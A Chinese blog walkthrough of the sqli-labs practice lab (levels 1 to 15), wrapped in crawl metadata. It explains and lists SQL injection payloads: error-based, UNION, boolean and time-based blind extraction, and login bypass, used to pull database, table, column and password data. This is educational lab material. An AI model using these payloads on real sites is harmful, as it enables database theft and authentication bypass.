"warc_info": "isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-27.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
8,
25,
26,
87,
88,
540,
541,
632,
633,
664,
668,
687,
708,
767,
820,
878,
940,
989,
1034,
1088,
1089,
1091,
1092,
1211,
1212,
1294,
1385,
1387,
1388,
1506,
1507,
1529,
1543,
1553,
1599,
1605,
1624,
1645,
1705,
1711,
1730,
1797,
1855,
1861,
1863,
1864,
1878,
1890,
1891,
1914,
1934,
1971,
2016,
2017,
2023,
2065,
2121,
2123,
2124,
2139,
2156,
2212,
2214,
2215,
2238,
2252,
2308,
2314,
2345,
2347,
2348,
2363,
2430,
2495,
2532,
2600,
2666,
2718,
2762,
2808,
2860,
2908,
2958,
3009,
3054,
3095,
3135,
3174,
3218,
3259,
3302,
3365,
3405,
3454,
3505,
3546,
3604,
3678,
3735,
3737,
3738,
3768,
3809,
3811,
3812
],
"line_end_idx": [
7,
8,
25,
26,
87,
88,
540,
541,
632,
633,
664,
668,
687,
708,
767,
820,
878,
940,
989,
1034,
1088,
1089,
1091,
1092,
1211,
1212,
1294,
1385,
1387,
1388,
1506,
1507,
1529,
1543,
1553,
1599,
1605,
1624,
1645,
1705,
1711,
1730,
1797,
1855,
1861,
1863,
1864,
1878,
1890,
1891,
1914,
1934,
1971,
2016,
2017,
2023,
2065,
2121,
2123,
2124,
2139,
2156,
2212,
2214,
2215,
2238,
2252,
2308,
2314,
2345,
2347,
2348,
2363,
2430,
2495,
2532,
2600,
2666,
2718,
2762,
2808,
2860,
2908,
2958,
3009,
3054,
3095,
3135,
3174,
3218,
3259,
3302,
3365,
3405,
3454,
3505,
3546,
3604,
3678,
3735,
3737,
3738,
3768,
3809,
3811,
3812,
3836
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3836,
"ccnet_original_nlines": 106,
"rps_doc_curly_bracket": 0.006256519816815853,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11033681780099869,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.00696863979101181,
"rps_doc_frac_lines_end_with_ellipsis": 0.00934579037129879,
"rps_doc_frac_no_alph_words": 0.42276424169540405,
"rps_doc_frac_unique_words": 0.4753086268901825,
"rps_doc_mean_word_length": 8.808642387390137,
"rps_doc_num_sentences": 78,
"rps_doc_symbol_to_word_ratio": 0.0011614400427788496,
"rps_doc_unigram_entropy": 4.594228744506836,
"rps_doc_word_count": 324,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05115627124905586,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01051156036555767,
"rps_doc_frac_chars_top_3gram": 0.025227749720215797,
"rps_doc_frac_chars_top_4gram": 0.008409249596297741,
"rps_doc_books_importance": -332.52960205078125,
"rps_doc_books_importance_length_correction": -332.52960205078125,
"rps_doc_openwebtext_importance": -218.07313537597656,
"rps_doc_openwebtext_importance_length_correction": -218.07313537597656,
"rps_doc_wikipedia_importance": -176.2112274169922,
"rps_doc_wikipedia_importance_length_correction": -176.2112274169922
},
"fasttext": {
"dclm": 0.3565250635147095,
"english": 0.5730461478233337,
"fineweb_edu_approx": 1.9155782461166382,
"eai_general_math": 0.856027364730835,
"eai_open_web_math": 0.8030949234962463,
"eai_web_code": 0.8595470786094666
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.138",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
4,175,911,700,856,164,000 | SQL注入练习之sqli-labs靶场Writeup
Less-1（报错型注入-字符串类型）
1. 打开之后让输入ID的，随便构造一个语句http://192.168.80.134/sql/Less-1/index.php?id=1，返回是正常的，再次构造语句index.php?id=1' 报错了，说明SQL语句在查询的时候把’也带入了查询语句，并且错误提示如下，可以看出是报错型注入
sqli-labs之LESS-1讲解（报错型注入）
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1. 继续构造语句：index.php?id=1' --+返回正常，说明我们的SQL语句构造成功，--+在MySQL语句中是注释符号，这句话相当于前面的’将前面的语句闭合了，而–+又把后面原本有的'闭合符号给注释掉了，所以语句执行正确。建议大家在学习的时候观看源码，其背后执行的SQL语句是：
select * from users where id = ' 1' --+ '
我们只需要把我们想要执行的SQL语句插入在–+之前
1. 查询字段
index.php?id=1' order by 3--+
不断更换order by 后面的数字，通过这里来判断字段数，最终发现存在3个字段
1. 爆数据库
index.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+
成功得到数据库名字为security其中0x7e是16进制编码的~符号，并无特殊意义。
sqli-labs之LESS-1讲解（报错型注入）
1. 爆表
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),0x7e),3) --+
其中security是我们上次爆出来的数据库名，这里可以看出成功爆出表名了。
sqli-labs之LESS-1讲解（报错型注入）
1. 爆字段
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7e),3) --+
我们这里爆的是users表的字段，可以看到有id,username,password如下字段
sqli-labs之LESS-1讲解（报错型注入）
1. 爆数据
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
其中username就是我们想要爆出来的数据的字段，可以看到已经爆出来了如下用户名称。
sqli-labs之LESS-1讲解（报错型注入）
但是很明显用户名没有完全报出来，这是因为updatexml()这个是有长度限制的最长32位，这时候就该我们的另一个主角上场了，就是 SUBSTR() 截断函数，语法如下：
SUBSTR(str,pos,len)
# 就是从 str 字符串中，从 pos 位置开始，截取 len 个长度的字符
所以我们可以构造如下语句：
index.php?id=1' union select updatexml(1,concat(0x7e,SUBSTR((select group_concat(username) from users),1,24),0x7e),1) --+
上面这个语句就是从 1 开始，截断 24 个字符。
Less-2（报错型注入-整数类型）
\1. 这是一个数字类型的报错注入，最常用的手法是在后面输入-1测试，比如
当我们构造语句：
index.php?id=2
显示为Angelina，但是当我们在2的后面输入-1的时候，页面返回值变为了Dumb（即index.php?id=1的返回值），说明-1被带入了SQL语句中，此处很可能存在SQL注入漏洞
sqli-labs之Less-2讲解（报错型注入-整数类型）
\2. 查询字段
index.php?id=1 order by 3
经过检测发现存在3个字段
\2. 爆数据库
此篇依旧使用报错型注入手法进行操作，与上一篇文章稍有不同
index.php?id=1 union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a
得出数据库名字为：security
sqli-labs之Less-2讲解（报错型注入-整数类型）
3.爆表
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
在这里因为使用了LIMIT限制语句，所以每次只会爆出来一个表，可以通过变换LIMIT的第一个参数来进行表的更换查询
比如：
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
这条语句便是查询的第1张表，上一条语句查的是第0张表
sqli-labs之Less-2讲解（报错型注入-整数类型）
4.爆字段
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='emails' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
同样这里的LIMIT同上，是可以更换值来查询不同的字段
经查询一共存在id和email_id两个字段
sqli-labs之Less-2讲解（报错型注入-整数类型）
5.爆数据
union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,id_,0x7e,email_id,0x7e) FROM emails limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
成功获得数据，LIMIT亦同上
sqli-labs之Less-2讲解（报错型注入-整数类型）
Less-3（报错型注入-单引号）
\1. 按照常规套路，打开网页构造语句：
inde.php?id=1
加上'单引号，报错，如下：
sqli-labs之Less-3讲解（报错型注入-单引号）
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
后面有括号，咱给他闭合上，继续构造语句：
index.php?id=1') --+
完美绕过，那么我们接下来就是要搞事情，只需要将你想要执行的SQL语句穿插进--+之前即可，很明显这里有报错信息，那么我们就直接使用报错注入就行啦~
2.爆个数据库
index.php?id=1') union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+
sqli-labs之Less-3讲解（报错型注入-单引号）
具体步骤以及语句和 Less-2 相同，只是多了后面的--+注释符号而已，不再赘述。
Less-4（报错型注入-双引号）
1.这篇解题思路与 Less-3 几乎没有任何差别，只需要将上一篇的单引号换成双引号引起报错即可。
2.继续使用报错注入，爆数据库
index.php?id=1") union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+
sqli-labs之Less-4讲解（报错型注入-双引号）
Less-5（布尔类型注入-单引号）
前言：
先来说一下什么是布尔类型注入，即你构造的SQL语句执行完毕之后只会返回给你真或者假，反馈到网页上的也就是只会返回给你是否存在。
1.正常执行
index.php?id=1
这条语句是完全没毛病的可以正常执行，所以页面返回的结果是如下
sqli-labs之Less-5讲解（布尔类型注入）
2.尝试报错
index.php?id=1'
返回提示：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
说明我们的分号是被带入到了SQL查询中的，所以报错了，那么只需要闭合即可
index.php?id=1' --+
执行这条闭合完美执行成功，返回You are in….我们接下来的任务就是继续将SQL语句插入进去，但是注意这可是布尔注入，只会返回给你真假，所以有很多地方需要注意，下面继续讲解。
3.主要函数
这些都是布尔注入需要使用到的函数，下面都会用到并讲解的。
length() #返回字符串的长度
substr() #截取字符串
substr（a,b,c）作用将字符串a从第b位开始取c位数出来
ascii() #返回字符的ascii码
sleep(n) #将程序挂起休眠n秒
if(exp1,exp2,exp3) #判断语句，如果第一个语句正确就执行第二个语句，如果错误就执行第三个。
4.判断当前数据库名长度
第一次构造：
index.php?id=1' and length(database())>1--+
执行成功，布尔注入只能靠不断变换后面的数字来进行猜测数据库名长度。以当前数据库security数据库长度为例，如果出现大于7，但是不大于8，那么肯定就是当前数据库名长度等于8了，此时就可以使用如下语句进行判断
index.php?id=1' and length(database())=8--+
如果返回为真，那么则说明数据库长度肯定是8位了。
5.猜测数据库名
猜测数据库名的时候需要一个一个地猜，我先用手工的演示，等下文章最后面会放上python脚本。
index.php?id=1' and ascii(substr(database(),1,1))>65--+
这里我查询的是查询数据库名的第一位（即上面语句的第一个1的作用，substr查询不是从0开始的，就是从1开始的，第二个1的作用是只取一位，这个不用变）是否大于ascii码表的A，以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下语句；
index.php?id=1' and ascii(substr(database(),2,1))>65--+
就这样不断尝试吧，因为我们刚才已经获取到了数据库名的长度，所以继续慢慢猜吧。
6.猜测表名
index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 --+
这句的意思呢也就是通过limit限制只查询当前数据库的第0张表，然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65（即字母A）。加入存在多张表，可以通过变换limit的第一个参数0换为1来更换表继续查询。
7.猜测字段
index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 --+
假设我们得到了一张表名为：password，那么我们还是跟上面一样，通过limit限制为第一个字段，然后substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 --+
上面这一条呢就是将第0个字段的名字的第二个字符取出与ascii码表的64（字母A）进行比较
8.猜测数据
index.php?id=1' and ascii(substr((select keykey from id limit 0,1),1,1)) >65 --+
意思与上面的一样，假设我们得到了一个字段：id
继续通过limit限制为数据的第一个字符，然后用substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
9.恭喜你看到这里了，这种布尔类型的几乎没有人真的去完全猜测，都是拿脚本跑的，附上我的小脚本吧，此题适用，一般来说，这种布尔类型的直接修改payload都可以通用啦。
Github:SQL注入_布尔注入脚本
Less-6（布尔类型注入-双引号）
这道题跟 Less-5 第五题基本上没有任何区别，唯一的区别就是由上一题的单引号变为了双引号。
1.一般我们的操作都是先加上单引号'尝试一下报错，在这里我们发现加上单引号之后没什么反应，跟原先页面一样，那么我们就可以尝试一下双引号"了，这些都是一些基本思路。
index.php?id=1"
这样就报错了，然后就是后面加上注释符号进行闭合操作。
2.后续步骤
后续步骤就和 Less-5 一样了，没有任何区别的了。
Less-7（暂无解）
暂未解出
Less-8（盲注）
前言：此题是盲注类型的，具体为什么见下文
1.正常访问
正常访问语句为
?id=1
可以看出来是页面返回正常，没啥毛病
2.构造干扰
id=1'
发现页面返回不正常了，说明分号被带入SQL查询了，我们进行闭合即可。
id=1' --+
此时又返回正常了，说明闭合成功，接下来就是穿插SQL语句到里面。
3.查询字段
id=1' order by 3 --+
不断变换order by后面的数据，最后发现存在3个字段
Less-9（基于时间盲注-单引号）
前言：这道题其实设置的有点古怪，无论你是否构造语句正确与否，都会只返回给你 You are in...........，所以你很难知道你是否闭合成功语句以及SQL语句是否执行成功，这里就需要依靠时间延时来进行判断了。
1.构造语句
?id=1' and if(1=1,sleep(0),sleep(5)) --+
上面这句话的意思就是，如果1=1这条SQL语句执行成功，那么久实行sleep(0)休眠0秒，如果1=1这条SQL语句执行错误，那么就执行sleep(5)休眠5秒，以此来进行判断SQL语句是否执行成功。这里的1=1，其实在下面就可以更换为我们想要执行的其他SQL语句。
sqli-labs之Less-9讲解（基于时间盲注）
从上面图中可以看到，当我们执行了一条正确的SQL语句时，浏览器很快就会返回结果，耗时一秒多，耗时绝对不会超过5秒。
sqli-labs之Less-9讲解（基于时间盲注）
而当我们执行了一条错误的SQL语句时，浏览器会一直转圈转圈加载5秒之后执行，共计耗时6秒多，耗时绝对超过5秒。
由此我们就可以构造我们的payload了，通过执行时间长短来进行判断构造的SQL语句是否执行正确。
2.布尔盲注
这道题说到底还是布尔盲注方向的，只不过是有了更多的限制条件了，其实跟前面的这篇文章Less-5（布尔类型注入-单引号）其实是一样的，基本无任何差别，建议参考一下，看看基础知识。
最后附上Python脚本，因为这种题目没有人是真正完全靠脑子去猜测的，都是脚本跑的。
Github：基于时间的布尔盲注
Less-10（基于时间盲注-双引号）
这道题跟第九题Less-10讲解（基于时间盲注-双引号）》原理一样，只是干扰报错信息换为了双引号而已，除此之外没有任何改变。建议配合Less-5讲解（布尔类型注入-单引号）这篇文章一起食用，效果更佳。
Less-11（POST注入-单引号）
前言：
从这道题开始呢，就是该POST基础注入了。
1.随便进行登录测试
随便输入账号密码进行测试一下返回结果，发现返回为空，没有任何有效信息返回，那么我们就开始构造万能密码进行尝试。在这里其实有一个SQL语句，真实环境下一般没有，这里这个SQL语句只能算是题目提示。
2.构造账号密码
用户名：a' or 1=1 #
密码：a
这里的密码是随意输入的，以下同是。账号则是我们精心构造的一个永为真的情况，a这个用户是不存在的，但是执行SQL语句时，查询不到a这个用户，然后继续or执行了1=1这条SQL语句，发现为真，#井号注释符把后面的语句全部给注释掉了，语句也就闭合了，完美返回用户名、密码。我们把上面的SQL放进Navicat在这里面执行以下更直观一些：
sqli-labs之Less-11讲解（POST注入）
可以看到#后面的SQL语句都是被注释掉了的，并且因为为or 1=1为真，返回了所有的数据库的结果（在PHP页面上只能看到一条是因为在Less-11/index.php文件中使用了mysql_fetch_array函数，限制返回一条数据）
3.查询字段
用户名：a' or 1=1 order by 2 #
正确返回到我们想要的结果，经猜测存在两个字段。
4.查询显示位
a' and 1=1 union select 1,2 #
有细心的小伙伴们可能已经发现了上面我们一直用的or而这里改用了and，我们上面用or的原因是为了确保1=1这条SQL语句能够执行，所以用or，而这里用and是因为我们构造的用户名a在数据库中根本不存在（如果不确定数据库中是否存在可以随便起一个很长很长的名字），如果继续用or的话会返回所有的结果，而我们union select查询的结果就会排在最下面，就不会显示在网页页面上了，如图：
sqli-labs之Less-11讲解（POST注入）
而使用and的话，就保证了union select其前面的SQL语句返回为空，然后继续执行union select返回其结果，如图：
sqli-labs之Less-11讲解（POST注入）
或者你使用or 1=2效果也都是一样的，都是为了保证前面的返回结果为空。将上面的构造的SQL输入在用户名处，随便写上密码便可以看到显示位了。
5.查询数据库名
a' and 1=1 union select database(),user() #
sqli-labs之Less-11讲解（POST注入）
可以看到已经返回了数据库名等信息
6.查询表名
a' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
7.查询字段
a' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
其中users是上面爆出来的表的名字
8.查询数据
a' and 1=1 union select 1,group_concat(password) from users #
其中password又是上面爆出来的字段名字
Less-12（POST注入-双引号_括号）
前言：
这道题跟Less-11是一样的，唯一不同之处便是，Less-11使用的是单引号包裹，而这道题使用的是双引号以及括号包裹。
1.构造语句
a") or 1=1 #
接下来的就跟Less-11（POST注入-单引号）》这里的操作一样，便不再赘述了。
Less-13（POST报错注入-单引号_括号）
同上
Less-14（POST报错注入-双引号）
a" or updatexml(1,concat(0x7e,(select database()),0x7e),3) or 1=1 #
报错注入，不想写了
Less-15（POST布尔盲注注入-单引号）
前言：
一般登录处是比较容易存在SQL注入漏洞的，所以我们有时候在实战情况下找到了某个登录的地址，但是没有账号密码的情况下就可以尝试使用在登录处进行SQL注入。
1.随便尝试登录
随便构造几个常用的账号密码进行尝试登录，发现只要账号密码不对，登录框下面的提示一直是失败的，也就相当于现在比较常见的登陆失败直接提示：账号或密码输入错误。让你根本无法知道是账号错误还是密码错误，这样也就无法遍历用户名了，也是一种较为常用的保护机制。
2.构造账号密码
账号：a' or 1=1 #
密码：a
这里的账号和密码中的a其实是随便输入的，你可以随意替换。可以看到当我们输入这一组账号密码的时候，是显示登录成功的。但是我们只知道登陆成功，却无法直观看到其他类似于数据库名称，版本等信息，这是因为这里是一个盲注，可以使用基于时间的盲注也可以使用基于布尔类型的盲注。可以参考这篇文章Less-5（布尔类型注入-单引号）或者这篇[Less-9（基于时间盲注-单引号）
3.猜数据库长度
账号：a' or 1=1 and length(database())>1 #
密码：a
以这样的形式来进行数据库名长度的猜测。
4.猜数据库名
猜测数据库名的时候需要一个一个地猜，我这里用手工的演示。
账号：a' or 1=1 and ascii(substr(database(),1,1))>65 #
密码：a
这里我查询的是查询数据库名的第一位（即上面语句的第一个1的作用，substr查询不是从0开始的，就是从1开始的，第二个1的作用是只取一位，这个不用变）是否大于ascii码表的A，以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下payload语句：
账号：a' or 1=1 and ascii(substr(database(),2,1))>65 #
密码：a
大家应该可以看出来差别了，只是变换了一下参数值大小，以此类推。
5.猜测表名
猜测出来数据库名之后接下来就是该猜测表名了，构造语句：
账号：a' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 #
密码：a
这句的意思呢也就是通过limit限制只查询当前数据库的第0张表，然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65（即字母A）。加入存在多张表，可以通过变换limit的第一个参数0换为1来更换表继续查询。
6.猜测字段
假设我们得到了一张表名为：password，那么我们还是跟上面一样，通过limit限制为第一个字段，然后substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
账号：a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 #
密码：a
那么我们想将第0个字段的名字的第二个字符取出与ascii码表的64（字母A）进行比较则是如下语句：
账号：a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 #
密码：a
7.猜测数据
账号：a' or 1=1 and ascii(substr((select keykey from id limit 0,1),1,1)) >65 #
密码：a
意思与上面的一样，假设我们得到了一个字段：id
继续通过limit限制为数据的第一个字符，然后用substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
结束语
其实这种SQL注入只要找打规律之后一般大佬的操作就是写个 Python 脚本来跑的，没有人去完全靠手工猜测的，建议使用 Python。
文章作者: Writeup
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
上一篇
HTTP/2.0的优点 HTTP/2.0的优点
前言目前的网络世界已经发展的极其迅速，而目前作为主流的 HTTP 协议版本 HTTP/1.1 协议将会逐渐被 HTTP/2.0 或 HTTP/3.0 所替代。国外的大型互联网厂商比如：Google、FaceBook、Twitter等都已经开
2020-10-12
下一篇
ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用 ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用
一、简介这一篇文章接下来我会分为两个部分来写，因为 ECShop 其实两个比较大的远程代码执行是有两个不同版本先后爆出来的，首先被爆出来的是：ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞，然后紧接着 ECShop 官
2020-10-11
目录 | {
"url": "https://www.writeup.top/27420.html",
"source_domain": "www.writeup.top",
"snapshot_id": "crawl=CC-MAIN-2020-50",
"warc_metadata": {
"Content-Length": "63179",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FCQDLHRNW5IEMEKPNFYZ2U5R5FLUX4U6",
"WARC-Concurrent-To": "<urn:uuid:67e73d31-09af-4b42-82dc-7642f2a7fad5>",
"WARC-Date": "2020-11-28T21:59:55Z",
"WARC-IP-Address": "117.34.61.24",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2MN3WCHIJ4RTZYESXTILAAGTEFSZY4H5",
"WARC-Record-ID": "<urn:uuid:528245a7-77ca-496a-9149-20183d4b91ad>",
"WARC-Target-URI": "https://www.writeup.top/27420.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fc3c33bb-65ef-4da2-b0da-c9e15f63d0b7>"
},
"warc_info": "isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-10.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
27,
28,
29,
49,
50,
199,
229,
392,
541,
593,
594,
620,
621,
631,
661,
662,
703,
704,
714,
791,
792,
836,
862,
863,
871,
1024,
1025,
1064,
1090,
1091,
1100,
1250,
1251,
1298,
1324,
1325,
1334,
1434,
1435,
1479,
1505,
1591,
1592,
1612,
1652,
1653,
1667,
1668,
1790,
1791,
1817,
1818,
1837,
1838,
1876,
1885,
1886,
1901,
1902,
1996,
2027,
2028,
2037,
2038,
2064,
2065,
2078,
2079,
2088,
2117,
2118,
2266,
2267,
2285,
2316,
2317,
2322,
2323,
2608,
2609,
2667,
2671,
2672,
2957,
2958,
2985,
3016,
3017,
3023,
3024,
3307,
3308,
3336,
3359,
3390,
3391,
3397,
3398,
3626,
3627,
3643,
3674,
3675,
3693,
3694,
3715,
3716,
3730,
3731,
3745,
3775,
3776,
3940,
3941,
3962,
3963,
3984,
3985,
4059,
4067,
4068,
4222,
4223,
4253,
4296,
4297,
4315,
4316,
4366,
4382,
4383,
4537,
4538,
4568,
4569,
4588,
4589,
4593,
4657,
4664,
4665,
4680,
4681,
4712,
4739,
4740,
4747,
4748,
4764,
4765,
4771,
4772,
4934,
4935,
4972,
4973,
4993,
4994,
5085,
5092,
5121,
5122,
5144,
5163,
5196,
5221,
5245,
5302,
5303,
5316,
5323,
5324,
5368,
5369,
5474,
5475,
5519,
5520,
5545,
5546,
5555,
5602,
5603,
5659,
5660,
5765,
5782,
5783,
5839,
5840,
5879,
5880,
5887,
5888,
6026,
6027,
6160,
6161,
6168,
6169,
6307,
6308,
6401,
6402,
6540,
6541,
6587,
6588,
6595,
6596,
6678,
6679,
6703,
6768,
6769,
6853,
6873,
6874,
6893,
6894,
6942,
7024,
7025,
7041,
7042,
7069,
7076,
7104,
7105,
7117,
7118,
7123,
7124,
7135,
7136,
7157,
7164,
7172,
7173,
7179,
7180,
7198,
7199,
7206,
7207,
7213,
7214,
7249,
7250,
7260,
7261,
7294,
7295,
7302,
7303,
7324,
7325,
7354,
7355,
7374,
7375,
7484,
7485,
7492,
7493,
7534,
7535,
7669,
7696,
7754,
7781,
7837,
7887,
7888,
7895,
7896,
7985,
8028,
8045,
8046,
8066,
8067,
8168,
8169,
8189,
8190,
8194,
8195,
8217,
8218,
8229,
8230,
8328,
8329,
8338,
8339,
8355,
8360,
8361,
8527,
8555,
8674,
8675,
8682,
8683,
8710,
8711,
8735,
8736,
8744,
8745,
8775,
8776,
8969,
8997,
9064,
9092,
9163,
9164,
9173,
9174,
9218,
9219,
9247,
9264,
9265,
9272,
9273,
9387,
9388,
9395,
9396,
9507,
9508,
9527,
9528,
9535,
9536,
9598,
9599,
9622,
9623,
9646,
9647,
9651,
9652,
9713,
9714,
9721,
9722,
9735,
9736,
9778,
9779,
9804,
9805,
9808,
9809,
9831,
9832,
9900,
9901,
9911,
9912,
9936,
9937,
9941,
9942,
10019,
10020,
10029,
10030,
10155,
10156,
10165,
10166,
10181,
10186,
10187,
10368,
10369,
10378,
10379,
10419,
10424,
10425,
10445,
10446,
10454,
10455,
10484,
10485,
10537,
10542,
10543,
10648,
10672,
10673,
10725,
10730,
10731,
10763,
10764,
10771,
10772,
10800,
10801,
10934,
10939,
10940,
11073,
11074,
11081,
11082,
11175,
11176,
11309,
11314,
11315,
11365,
11366,
11499,
11504,
11505,
11512,
11513,
11590,
11595,
11596,
11620,
11685,
11686,
11690,
11691,
11759,
11760,
11761,
11775,
11832,
11837,
11861,
11982,
11993,
11998,
12080,
12198,
12209
],
"line_end_idx": [
27,
28,
29,
49,
50,
199,
229,
392,
541,
593,
594,
620,
621,
631,
661,
662,
703,
704,
714,
791,
792,
836,
862,
863,
871,
1024,
1025,
1064,
1090,
1091,
1100,
1250,
1251,
1298,
1324,
1325,
1334,
1434,
1435,
1479,
1505,
1591,
1592,
1612,
1652,
1653,
1667,
1668,
1790,
1791,
1817,
1818,
1837,
1838,
1876,
1885,
1886,
1901,
1902,
1996,
2027,
2028,
2037,
2038,
2064,
2065,
2078,
2079,
2088,
2117,
2118,
2266,
2267,
2285,
2316,
2317,
2322,
2323,
2608,
2609,
2667,
2671,
2672,
2957,
2958,
2985,
3016,
3017,
3023,
3024,
3307,
3308,
3336,
3359,
3390,
3391,
3397,
3398,
3626,
3627,
3643,
3674,
3675,
3693,
3694,
3715,
3716,
3730,
3731,
3745,
3775,
3776,
3940,
3941,
3962,
3963,
3984,
3985,
4059,
4067,
4068,
4222,
4223,
4253,
4296,
4297,
4315,
4316,
4366,
4382,
4383,
4537,
4538,
4568,
4569,
4588,
4589,
4593,
4657,
4664,
4665,
4680,
4681,
4712,
4739,
4740,
4747,
4748,
4764,
4765,
4771,
4772,
4934,
4935,
4972,
4973,
4993,
4994,
5085,
5092,
5121,
5122,
5144,
5163,
5196,
5221,
5245,
5302,
5303,
5316,
5323,
5324,
5368,
5369,
5474,
5475,
5519,
